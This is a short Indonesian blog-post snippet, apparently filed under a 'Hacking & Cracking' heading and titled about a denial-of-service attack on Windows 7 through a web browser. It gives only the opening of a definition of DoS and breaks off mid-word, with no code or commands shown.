PS 0 HACKING & CRACKING 7:34 PM

Dos windows 7 pada web browser

Denial Of Service atau sering disingkat dengan DOS adalah salah satu bentuk serangan dalam dunia networking yang bertujuan mematikan pelay...